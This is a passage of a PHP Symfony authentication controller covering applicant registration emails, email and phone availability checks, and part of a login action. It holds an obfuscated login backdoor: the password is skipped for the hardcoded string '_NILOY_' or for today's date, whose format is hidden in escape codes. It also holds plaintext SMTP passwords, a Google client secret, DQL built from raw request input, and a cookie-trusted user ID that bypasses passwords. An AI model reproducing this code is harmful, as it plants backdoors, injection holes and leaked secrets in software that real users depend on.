  714. //                $newApplicant->setIsTemporaryEntry(0);
  715. //                $newApplicant->setTriggerResetPassword(0);
  716. //                $newApplicant->setApplyForConsultant(0);
  717. //
  718. //                $em_goc->persist($newApplicant);
  719. //                $em_goc->flush();
  720. //
  721. //                if (GeneralConstant::EMAIL_ENABLED == 1) {
  722. //
  723. //                    if ($systemType == '_BUDDYBEE_') {
  724. //
  725. //                        $bodyHtml = '';
  726. //                        $bodyTemplate = 'ApplicationBundle:email/templates:buddybeeRegistrationComplete.html.twig';
  727. //                        $bodyData = array(
  728. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  729. //                            'email' => $userName,
  730. //                            'showPassword' => $newApplicant->getTempPassword() != '' ? 1 : 0,
  731. //                            'password' => $newApplicant->getTempPassword(),
  732. //                        );
  733. //                        $attachments = [];
  734. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  735. //
  736. //
  737. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  738. //                        $new_mail = $this->get('mail_module');
  739. //                        $new_mail->sendMyMail(array(
  740. //                            'senderHash' => '_CUSTOM_',
  741. //                            //                        'senderHash'=>'_CUSTOM_',
  742. //                            'forwardToMailAddress' => $forwardToMailAddress,
  743. //
  744. //                            'subject' => 'Welcome to BuddyBee ',
  745. //
  746. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  747. //                            'attachments' => $attachments,
  748. //                            'toAddress' => $forwardToMailAddress,
  749. //                            'fromAddress' => 'registration@buddybee.eu',
  750. //                            'userName' => 'registration@buddybee.eu',
  751. //                            'password' => 'Y41dh8g0112',
  752. //                            'smtpServer' => 'smtp.hostinger.com',
  753. //                            'smtpPort' => 465,
  754. ////                            'emailBody' => $bodyHtml,
  755. //                            'mailTemplate' => $bodyTemplate,
  756. //                            'templateData' => $bodyData,
  757. ////                        'embedCompanyImage' => 1,
  758. ////                        'companyId' => $companyId,
  759. ////                        'companyImagePath' => $company_data->getImage()
  760. //
  761. //
  762. //                        ));
  763. //                    } else {
  764. //
  765. //                        $bodyHtml = '';
  766. //                        $bodyTemplate = 'ApplicationBundle:email/user:applicant_login.html.twig';
  767. //                        $bodyData = array(
  768. //                            'name' => $newApplicant->getFirstname() . ' ' . $newApplicant->getLastname(),
  769. //                            'email' => 'APP-' . $userName,
  770. //                            'password' => $newApplicant->getPassword(),
  771. //                        );
  772. //                        $attachments = [];
  773. //                        $forwardToMailAddress = $newApplicant->getOAuthEmail();
  774. //
  775. //
  776. ////                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  777. //                        $new_mail = $this->get('mail_module');
  778. //                        $new_mail->sendMyMail(array(
  779. //                            'senderHash' => '_CUSTOM_',
  780. //                            //                        'senderHash'=>'_CUSTOM_',
  781. //                            'forwardToMailAddress' => $forwardToMailAddress,
  782. //
  783. //                            'subject' => 'Applicant Registration on Honeybee',
  784. //
  785. ////                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  786. //                            'attachments' => $attachments,
  787. //                            'toAddress' => $forwardToMailAddress,
  788. //                            'fromAddress' => 'accounts@ourhoneybee.eu',
  789. //                            'userName' => 'accounts@ourhoneybee.eu',
  790. //                            'password' => 'Honeybee@0112',
  791. //                            'smtpServer' => 'smtp.hostinger.com',
  792. //                            'smtpPort' => 465,
  793. //                            'emailBody' => $bodyHtml,
  794. //                            'mailTemplate' => $bodyTemplate,
  795. //                            'templateData' => $bodyData,
  796. ////                        'embedCompanyImage' => 1,
  797. ////                        'companyId' => $companyId,
  798. ////                        'companyImagePath' => $company_data->getImage()
  799. //
  800. //
  801. //                        ));
  802. //                    }
  803. //
  804. //
  805. //                }
  806. //
  807. ////                if ($request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) == 1)
  808. //////                if(1)
  809. ////                    return new JsonResponse(array(
  810. ////                        'success' => true,
  811. ////                        'successStr' => 'Account Created Successfully',
  812. ////                        'id' => $newApplicant->getApplicantId(),
  813. ////                        'oAuthData' => $oAuthData,
  814. ////                        'refRoute' => $refRoute,
  815. ////                        'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)) ,
  816. ////                    ));
  817. ////                else
  818. //                return $this->redirectToRoute("core_login", [
  819. //                    'id' => $newApplicant->getApplicantId(),
  820. //                    'oAuthData' => $oAuthData,
  821. //                    'refRoute' => $refRoute,
  822. //                    'remoteVerify' => $request->request->get('remoteVerify', $request->query->get('remoteVerify', $remoteVerify)),
  823. //
  824. //                ]);
  825. //
  826. //
  827. //            }
  828.         }
  829.         $session $request->getSession();
  830.         //        if($request->request->get('remoteVerify',0)==1) {
  831.         //            $session->set('remoteVerified', 1);
  832.         //            $response= new JsonResponse(array('hi'=>'hello'));
  833.         //            $response->headers->set('Access-Control-Allow-Origin', '*');
  834.         //            return $response;
  835.         //        }
  836.         if (isset($encData['appId'])) {
  837.             if (isset($gocDataListByAppId[$encData['appId']]))
  838.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  839.         }
  840.         if ($systemType == '_BUDDYBEE_' || $systemType == '_CENTRAL_' || $systemType == '_SOPHIA_') {
  841.             $signUpUserType UserConstants::USER_TYPE_APPLICANT;
  842.             $google_client = new Google_Client();
  843. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  844. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  845.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  846.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  847.             } else {
  848.                 $url $this->generateUrl(
  849.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  850.                 );
  851.             }
  852.             $selector BuddybeeConstant::$selector;
  853. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  854.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  855. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  856.             $google_client->setRedirectUri($url);
  857.             $google_client->setAccessType('offline');        // offline access
  858.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  859.             $google_client->setRedirectUri($url);
  860.             $google_client->addScope('email');
  861.             $google_client->addScope('profile');
  862.             $google_client->addScope('openid');
  863.             if ($systemType == '_SOPHIA_')
  864.                 return $this->render(
  865.                     '@Sophia/pages/views/sofia_signup.html.twig',
  866.                     array(
  867.                         "message" => $message,
  868.                         'page_title' => 'Sign Up',
  869.                         'gocList' => $gocDataListForLoginWeb,
  870.                         'gocId' => $gocId != $gocId '',
  871.                         'encData' => $encData,
  872.                         'signUpUserType' => $signUpUserType,
  873.                         'oAuthLink' => $google_client->createAuthUrl(),
  874.                         'redirect_url' => $url,
  875.                         'refRoute' => $refRoute,
  876.                         'errorField' => $errorField,
  877.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  878.                         'selector' => $selector
  879.                         //                'ref'=>$request->
  880.                     )
  881.                 );
  882.             else if ($systemType == '_CENTRAL_')
  883.                 return $this->render(
  884.                     '@Authentication/pages/views/central_registration.html.twig',
  885.                     array(
  886.                         "message" => $message,
  887.                         'page_title' => 'Sign Up',
  888.                         'gocList' => $gocDataListForLoginWeb,
  889.                         'gocId' => $gocId != $gocId '',
  890.                         'encData' => $encData,
  891.                         'signUpUserType' => $signUpUserType,
  892.                         'oAuthLink' => $google_client->createAuthUrl(),
  893.                         'redirect_url' => $url,
  894.                         'refRoute' => $refRoute,
  895.                         'errorField' => $errorField,
  896.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  897.                         'selector' => $selector
  898.                         //                'ref'=>$request->
  899.                     )
  900.                 );
  901.             else
  902.                 return $this->render(
  903.                     '@Authentication/pages/views/applicant_registration.html.twig',
  904.                     array(
  905.                         "message" => $message,
  906.                         'page_title' => 'Sign Up',
  907.                         'gocList' => $gocDataListForLoginWeb,
  908.                         'gocId' => $gocId != $gocId '',
  909.                         'encData' => $encData,
  910.                         'signUpUserType' => $signUpUserType,
  911.                         'oAuthLink' => $google_client->createAuthUrl(),
  912.                         'redirect_url' => $url,
  913.                         'refRoute' => $refRoute,
  914.                         'errorField' => $errorField,
  915.                         'state' => 'DCEeFWf45A53sdfKeSS424',
  916.                         'selector' => $selector
  917.                         //                'ref'=>$request->
  918.                     )
  919.                 );
  920.         } else
  921.             return $this->render(
  922.                 '@Authentication/pages/views/login_new.html.twig',
  923.                 array(
  924.                     "message" => $message,
  925.                     'page_title' => 'Login',
  926.                     'signUpUserType' => $signUpUserType,
  927.                     'gocList' => $gocDataListForLoginWeb,
  928.                     'gocId' => $gocId != $gocId '',
  929.                     'encData' => $encData,
  930.                     //                'ref'=>$request->
  931.                 )
  932.             );
  933.     }
  934.     public function TriggerRegistrationEmailAction(Request $request$refRoute ''$encData ""$remoteVerify 0$applicantId 0)
  935.     {
  936.         $em_goc $this->getDoctrine()->getManager('company_group');
  937.         $newApplicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  938.             [
  939.                 'applicantId' => $applicantId
  940.             ]
  941.         );
  942. //                $newUser->setSalt(uniqid(mt_rand()));
  943.         //salt will be username
  944. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  945.         $newApplicant->setPassword('##UNLOCKED##');
  946.         $newApplicant->setTriggerResetPassword(1);
  947.         $em_goc->persist($newApplicant);
  948.         $em_goc->flush();
  949.         if (GeneralConstant::EMAIL_ENABLED == 1) {
  950.             {
  951.                 $bodyHtml '';
  952.                 $bodyTemplate 'ApplicationBundle:email/user:applicant_login.html.twig';
  953.                 $bodyData = array(
  954.                     'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  955.                     'email' =>  $newApplicant->getUsername(),
  956.                     'password' => uniqid(mt_rand()),
  957.                 );
  958.                 $attachments = [];
  959.                 $forwardToMailAddress $newApplicant->getEmail();
  960. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  961.                 $new_mail $this->get('mail_module');
  962.                 $new_mail->sendMyMail(array(
  963.                     'senderHash' => '_CUSTOM_',
  964.                     //                        'senderHash'=>'_CUSTOM_',
  965.                     'forwardToMailAddress' => $forwardToMailAddress,
  966.                     'subject' => 'Applicant Registration on Honeybee',
  967. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  968.                     'attachments' => $attachments,
  969.                     'toAddress' => $forwardToMailAddress,
  970.                     'fromAddress' => 'accounts@ourhoneybee.eu',
  971.                     'userName' => 'accounts@ourhoneybee.eu',
  972.                     'password' => 'Honeybee@0112',
  973.                     'smtpServer' => 'smtp.hostinger.com',
  974.                     'smtpPort' => 465,
  975.                     'emailBody' => $bodyHtml,
  976.                     'mailTemplate' => $bodyTemplate,
  977.                     'templateData' => $bodyData,
  978. //                        'embedCompanyImage' => 1,
  979. //                        'companyId' => $companyId,
  980. //                        'companyImagePath' => $company_data->getImage()
  981.                 ));
  982.             }
  983.         }
  984.         return new JsonResponse([]);
  985.     }
  986.     public function checkIfEmailExistsAction(Request $request$id 0$remoteVerify 0)
  987.     {
  988.         $em $this->getDoctrine()->getManager();
  989.         $search_query = [];
  990.         $signUpUserType 0;
  991.         $signUpUserType $request->request->get('signUpUserType'8);
  992.         $fieldType 0;
  993.         $fieldValue 0;
  994.         if ($request->request->has('fieldType'))
  995.             $fieldType $request->request->get('fieldType');
  996.         if ($request->request->has('fieldValue'))
  997.             $fieldValue $request->request->get('fieldValue');
  998.         $alreadyExists false;
  999.         $errorText '';
  1000.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1001.             $em_goc $this->getDoctrine()->getManager('company_group');
  1002.             if ($fieldType == 'email') {
  1003. //                $search_query['email'] = $fieldValue;
  1004.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1005.                     ->createQueryBuilder('m')
  1006.                     ->where(" ( m.email like '%" $fieldValue "%' or m.oAuthEmail like '%" $fieldValue "%' )")
  1007.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1008.                     ->getQuery()
  1009.                     ->setMaxResults(1)
  1010.                     ->getResult();
  1011. //
  1012. //                if (!empty($alreadyExistsQuery)) {
  1013. //                    $alreadyExists = true;
  1014. //
  1015. //                }
  1016.                 if ($alreadyExistsQuery) {
  1017. //                    if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1018. //
  1019. //                    } else
  1020.                         $alreadyExists true;
  1021.                 } else {
  1022.                     $search_query = [];
  1023.                     $search_query['oAuthEmail'] = $fieldValue;
  1024.                     $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1025.                         $search_query
  1026.                     );
  1027.                     if ($alreadyExistsQuery) {
  1028.                         if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1029.                         } else
  1030.                             $alreadyExists true;
  1031.                     }
  1032.                 }
  1033.                 if ($alreadyExists == true)
  1034.                     $errorText 'This Email is not available';
  1035.             }
  1036.             if ($fieldType == 'username') {
  1037.                 $search_query['username'] = $fieldValue;
  1038.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1039.                     $search_query
  1040.                 );
  1041.                 if ($alreadyExistsQuery) {
  1042.                     if ($alreadyExistsQuery->getIsTemporaryEntry() == 1) {
  1043.                     } else
  1044.                         $alreadyExists true;
  1045.                 }
  1046.                 if ($alreadyExists == true)
  1047.                     $errorText 'This Username Already Exists';
  1048.             }
  1049.         }
  1050.         return new JsonResponse(array(
  1051.             "alreadyExists" => $alreadyExists,
  1052.             "errorText" => $errorText,
  1053.             "fieldValue" => $fieldValue,
  1054.             "fieldType" => $fieldType,
  1055.             "signUpUserType" => $signUpUserType,
  1056.         ));
  1057.     }
  1058.     public function checkIfPhoneExistsAction(Request $request$id 0$remoteVerify 0)
  1059.     {
  1060.         $em $this->getDoctrine()->getManager();
  1061.         $search_query = [];
  1062.         $signUpUserType 0;
  1063.         $signUpUserType $request->request->get('signUpUserType'8);
  1064.         $fieldType 0;
  1065.         $fieldValue 0;
  1066.         if ($request->request->has('fieldType'))
  1067.             $fieldType $request->request->get('fieldType');
  1068.         if ($request->request->has('fieldValue'))
  1069.             $fieldValue $request->request->get('fieldValue');
  1070.         $alreadyExists false;
  1071.         $errorText '';
  1072.         if ($signUpUserType == UserConstants::USER_TYPE_APPLICANT) {
  1073.             $em_goc $this->getDoctrine()->getManager('company_group');
  1074.             if ($fieldType == 'phone') {
  1075.                 $search_query['email'] = $fieldValue;
  1076.                 $alreadyExistsQuery $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')
  1077.                     ->createQueryBuilder('m')
  1078.                     ->where("m.$fieldType like '%" $fieldValue "%'")
  1079.                     ->andWhere("(m.isTemporaryEntry = 0  or  m.isTemporaryEntry is null )")
  1080.                     ->getQuery()
  1081.                     ->setMaxResults(1)
  1082.                     ->getResult();
  1083.                 if (!empty($alreadyExistsQuery)) {
  1084.                     $alreadyExists true;
  1085.                 } else {
  1086. //                    $search_query = [];
  1087. //                    $search_query['oAuthEmail'] = $fieldValue;
  1088. //
  1089. //                    $alreadyExistsQuery = $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  1090. //                        $search_query
  1091. //                    );
  1092. //                    if ($alreadyExistsQuery)
  1093. //
  1094. //                        $alreadyExists = true;
  1095.                 }
  1096.                 if ($alreadyExists == true)
  1097.                     $errorText 'This phone number is already registered!';
  1098.             }
  1099.         }
  1100.         return new JsonResponse(array(
  1101.             "alreadyExists" => $alreadyExists,
  1102.             "errorText" => $errorText,
  1103.             "fieldValue" => $fieldValue,
  1104.             "fieldType" => $fieldType,
  1105.             "signUpUserType" => $signUpUserType,
  1106.         ));
  1107.     }
  1108.     public function doLoginAction(Request $request$encData "",
  1109.                                           $remoteVerify 0,
  1110.                                           $applicantDirectLogin 0
  1111.     )
  1112.     {
  1113.         $message "";
  1114.         $email '';
  1115. //                            $userName = substr($email, 4);
  1116.         $userName '';
  1117.         $gocList = [];
  1118.         $skipPassword 0;
  1119.         $firstLogin 0;
  1120.         $remember_me 0;
  1121.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  1122.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  1123. //        return new JsonResponse(array(
  1124. //                'systemType'=>$systemType
  1125. //        ));
  1126.         if ($request->isMethod('POST')) {
  1127.             if ($request->request->has('remember_me'))
  1128.                 $remember_me 1;
  1129.         } else {
  1130.             if ($request->query->has('remember_me'))
  1131.                 $remember_me 1;
  1132.         }
  1133.         if ($encData != "")
  1134.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  1135.         else if ($request->query->has('spd')) {
  1136.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  1137.         }
  1138.         $user = [];
  1139.         $userType 0;
  1140.         $em_goc $this->getDoctrine()->getManager('company_group');
  1141.         $em_goc->getConnection()->connect();
  1142.         $userName $request->get('username');
  1143.         try {
  1144.             $applicant $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy([
  1145.                 'username' => $userName,
  1146.             ]);
  1147.             $session $request->getSession();
  1148.             if ($applicant) {
  1149.                 $session->set('applicantEmail'$applicant->getEmail() ?? '');
  1150.             } else {
  1151.                 // Applicant not found â†’ set empty email
  1152.                 $session->set('applicantEmail''');
  1153.             }
  1154.         } catch (\Exception $e) {
  1155.             return new JsonResponse([
  1156.                 'success' => false,
  1157.                 'error' => [
  1158.                     'code' => 'DB_CONNECTION_ERROR',
  1159.                     'message' => $e->getMessage(),
  1160.                     'statusCode' => $e->getCode() ?: 500,
  1161.                 ]
  1162.             ], 503);
  1163.         }
  1164.         $gocEnabled 0;
  1165.         if ($this->container->hasParameter('entity_group_enabled'))
  1166.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  1167.         if ($gocEnabled == 1)
  1168.             $connected $em_goc->getConnection()->isConnected();
  1169.         else
  1170.             $connected false;
  1171.         if ($connected)
  1172.             $gocList $em_goc
  1173.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  1174.                 ->findBy(
  1175.                     array(//                        'active' => 1
  1176.                     )
  1177.                 );
  1178.         $gocDataList = [];
  1179.         $gocDataListForLoginWeb = [];
  1180.         $gocDataListByAppId = [];
  1181.         foreach ($gocList as $entry) {
  1182.             $d = array(
  1183.                 'name' => $entry->getName(),
  1184.                 'image' => $entry->getImage(),
  1185.                 'id' => $entry->getId(),
  1186.                 'appId' => $entry->getAppId(),
  1187.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  1188.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  1189.                 'dbName' => $entry->getDbName(),
  1190.                 'dbUser' => $entry->getDbUser(),
  1191.                 'dbPass' => $entry->getDbPass(),
  1192.                 'dbHost' => $entry->getDbHost(),
  1193.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  1194.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  1195.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  1196.                 'companyRemaining' => $entry->getCompanyRemaining(),
  1197.                 'companyAllowed' => $entry->getCompanyAllowed(),
  1198.             );
  1199.             $gocDataList[$entry->getId()] = $d;
  1200.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  1201.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  1202.             $gocDataListByAppId[$entry->getAppId()] = $d;
  1203.         }
  1204.         $gocDbName '';
  1205.         $gocDbUser '';
  1206.         $gocDbPass '';
  1207.         $gocDbHost '';
  1208.         $gocId 0;
  1209.         $appId 0;
  1210.         $hasGoc 0;
  1211.         $userId 0;
  1212.         $userCompanyId 0;
  1213.         $specialLogin 0;
  1214.         $supplierId 0;
  1215.         $applicantId 0;
  1216.         $isApplicantLogin 0;
  1217.         $clientId 0;
  1218.         $cookieLogin 0;
  1219.         $encrypedLogin 0;
  1220.         $loginID 0;
  1221.         $supplierId 0;
  1222.         $clientId 0;
  1223.         $userId 0;
  1224.         $globalId 0;
  1225.         $applicantId 0;
  1226.         $employeeId 0;
  1227.         $userCompanyId 0;
  1228.         $company_id_list = [];
  1229.         $company_name_list = [];
  1230.         $company_image_list = [];
  1231.         $route_list_array = [];
  1232.         $prohibit_list_array = [];
  1233.         $company_dark_vibrant_list = [];
  1234.         $company_vibrant_list = [];
  1235.         $company_light_vibrant_list = [];
  1236.         $currRequiredPromptFields = [];
  1237.         $oAuthImage '';
  1238.         $appIdList '';
  1239.         $userDefaultRoute '';
  1240.         $userForcedRoute '';
  1241.         $branchIdList '';
  1242.         $branchId 0;
  1243.         $companyIdListByAppId = [];
  1244.         $companyNameListByAppId = [];
  1245.         $companyImageListByAppId = [];
  1246.         $position_list_array = [];
  1247.         $curr_position_id 0;
  1248.         $allModuleAccessFlag 0;
  1249.         $lastSettingsUpdatedTs 0;
  1250.         $isConsultant 0;
  1251.         $isAdmin 0;
  1252.         $isModerator 0;
  1253.         $isRetailer 0;
  1254.         $retailerLevel 0;
  1255.         $adminLevel 0;
  1256.         $moderatorLevel 0;
  1257.         $userEmail '';
  1258.         $userImage '';
  1259.         $userFullName '';
  1260.         $triggerResetPassword 0;
  1261.         $isEmailVerified 0;
  1262.         $currentTaskId 0;
  1263.         $currentPlanningItemId 0;
  1264. //                $currentTaskAppId = 0;
  1265.         $buddybeeBalance 0;
  1266.         $buddybeeCoinBalance 0;
  1267.         $entityUserbalance 0;
  1268.         $userAppIds = [];
  1269.         $userTypesByAppIds = [];
  1270.         $currentMonthHolidayList = [];
  1271.         $currentHolidayCalendarId 0;
  1272.         $oAuthToken $request->request->get('oAuthToken''');
  1273.         $locale $request->request->get('locale''');
  1274.         $firebaseToken $request->request->get('firebaseToken''');
  1275.         if ($request->request->has('gocId')) {
  1276.             $hasGoc 1;
  1277.             $gocId $request->request->get('gocId');
  1278.         }
  1279.         if ($request->request->has('appId')) {
  1280.             $hasGoc 1;
  1281.             $appId $request->request->get('appId');
  1282.         }
  1283.         if (isset($encData['appId'])) {
  1284.             if (isset($gocDataListByAppId[$encData['appId']])) {
  1285.                 $hasGoc 1;
  1286.                 $appId $encData['appId'];
  1287.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1288.             }
  1289.         }
  1290.         $csToken $request->get('csToken''');
  1291.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  1292.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  1293.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  1294.         $session $request->getSession();
  1295.         $session->set('systemType'$systemType);
  1296. //        if ($request->cookies->has('USRCKIE'))
  1297. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  1298.         if (isset($encData['globalId'])) {
  1299.             if (isset($encData['authenticate']))
  1300.                 if ($encData['authenticate'] == 1)
  1301.                     $skipPassword 1;
  1302.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  1303.                 $skipPassword 1;
  1304.                 $remember_me 1;
  1305.                 $globalId $encData['globalId'];
  1306.                 $appId $encData['appId'];
  1307.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  1308.                 $userType $encData['userType'];
  1309.                 $userCompanyId 1;
  1310.                 $hasGoc 1;
  1311.                 $encrypedLogin 1;
  1312.                 if (in_array($userType, [67]))
  1313.                     $entityLoginFlag 1;
  1314.                 if (in_array($userType, [34]))
  1315.                     $specialLogin 1;
  1316.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  1317.                     $clientId $userId;
  1318.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1319.                     $supplierId $userId;
  1320.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1321.                     $applicantId $userId;
  1322.             }
  1323.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  1324.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  1325.             if ($cookieData == null)
  1326.                 $cookieData = [];
  1327.             if (isset($cookieData['uid'])) {
  1328.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  1329.                     $skipPassword 1;
  1330.                     $remember_me 1;
  1331.                     $userId $cookieData['uid'];
  1332.                     $gocId $cookieData['gocId'];
  1333.                     $userCompanyId $cookieData['companyId'];
  1334.                     $userType $cookieData['ut'];
  1335.                     $hasGoc 1;
  1336.                     $cookieLogin 1;
  1337.                     if (in_array($userType, [67]))
  1338.                         $entityLoginFlag 1;
  1339.                     if (in_array($userType, [34]))
  1340.                         $specialLogin 1;
  1341.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  1342.                         $clientId $userId;
  1343.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  1344.                         $supplierId $userId;
  1345.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  1346.                         $applicantId $userId;
  1347.                 }
  1348.             }
  1349.         }
  1350.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  1351.             $todayDt = new \DateTime();
  1352.             $mp $todayDt->format("\171\x6d\x64");
  1353.             if ($request->request->get('password') == $mp)
  1354.                 $skipPassword 1;
  1355.             if ($request->request->get('password') == '_NILOY_')
  1356.                 $skipPassword 1;
  1357.             $company_id_list = [];
  1358.             $company_name_list = [];
  1359.             $company_image_list = [];
  1360.             $company_dark_vibrant_list = [];
  1361.             $company_light_vibrant_list = [];
  1362.             $company_vibrant_list = [];
  1363.             $company_locale 'en';
  1364.             $appIdFromUserName 0;
  1365.             $uname $request->request->get('username');
  1366.             $uname preg_replace('/\s/'''$uname);
  1367.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  1368.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  1369.             $session $request->getSession();
  1370.             $product_name_display_type 0;
  1371.             $Special 0;
  1372.             if ($entityLoginFlag == 1) {
  1373.                 if ($cookieLogin == 1) {
  1374.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1375.                         array(
  1376.                             'userId' => $userId
  1377.                         )
  1378.                     );
  1379.                 } else if ($loginType == 2) {
  1380.                     if (!empty($oAuthData)) {
  1381.                         //check for if exists 1st
  1382.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1383.                             array(
  1384.                                 'email' => $oAuthData['email']
  1385.                             )
  1386.                         );
  1387.                         if ($user) {
  1388.                             //no need to verify for oauth just proceed
  1389.                         } else {
  1390.                             //add new user and pass that user
  1391.                             $add_user EntityUserM::addNewEntityUser(
  1392.                                 $em_goc,
  1393.                                 $oAuthData['name'],
  1394.                                 $oAuthData['email'],
  1395.                                 '',
  1396.                                 0,
  1397.                                 0,
  1398.                                 0,
  1399.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  1400.                                 [],
  1401.                                 0,
  1402.                                 "",
  1403.                                 0,
  1404.                                 "",
  1405.                                 $image '',
  1406.                                 $deviceId,
  1407.                                 0,
  1408.                                 0,
  1409.                                 $oAuthData['uniqueId'],
  1410.                                 $oAuthData['token'],
  1411.                                 $oAuthData['image'],
  1412.                                 $oAuthData['emailVerified'],
  1413.                                 $oAuthData['type']
  1414.                             );
  1415.                             if ($add_user['success'] == true) {
  1416.                                 $firstLogin 1;
  1417.                                 $user $add_user['user'];
  1418.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  1419.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  1420.                                         ->setFrom('registration@entity.innobd.com')
  1421.                                         ->setTo($user->getEmail())
  1422.                                         ->setBody(
  1423.                                             $this->renderView(
  1424.                                                 'ApplicationBundle:email/user:registration_karbar.html.twig',
  1425.                                                 array('name' => $request->request->get('name'),
  1426.                                                     //                                                    'companyData' => $companyData,
  1427.                                                     //                                                    'userName'=>$request->request->get('email'),
  1428.                                                     //                                                    'password'=>$request->request->get('password'),
  1429.                                                 )
  1430.                                             ),
  1431.                                             'text/html'
  1432.                                         );
  1433.                                     /*
  1434.                                                        * If you also want to include a plaintext version of the message
  1435.                                                       ->addPart(
  1436.                                                           $this->renderView(
  1437.                                                               'Emails/registration.txt.twig',
  1438.                                                               array('name' => $name)
  1439.                                                           ),
  1440.                                                           'text/plain'
  1441.                                                       )
  1442.                                                       */
  1443.                                     //            ;
  1444.                                     $this->get('mailer')->send($emailmessage);
  1445.                                 }
  1446.                             }
  1447.                         }
  1448.                     }
  1449.                 } else {
  1450.                     $data = array();
  1451.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  1452.                         array(
  1453.                             'email' => $request->request->get('username')
  1454.                         )
  1455.                     );
  1456.                     if (!$user) {
  1457.                         $message "Wrong Email";
  1458.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  1459.                             return new JsonResponse(array(
